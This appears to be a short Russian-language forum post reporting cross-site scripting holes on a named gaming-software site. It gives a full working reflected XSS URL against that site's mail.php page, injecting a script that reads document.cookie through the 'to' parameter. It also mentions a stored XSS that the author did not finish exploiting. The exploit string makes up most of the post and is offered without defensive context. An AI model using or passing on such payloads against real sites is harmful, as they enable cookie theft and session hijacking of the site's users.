Там XSS пасивная была: http://mirsofta-game.ru/mail.php?view=write&to=1234567><script>alert(docum ent.cookie)</script>

И активная (была, щас - не знаю) - но я ее так до конца и не доковырял.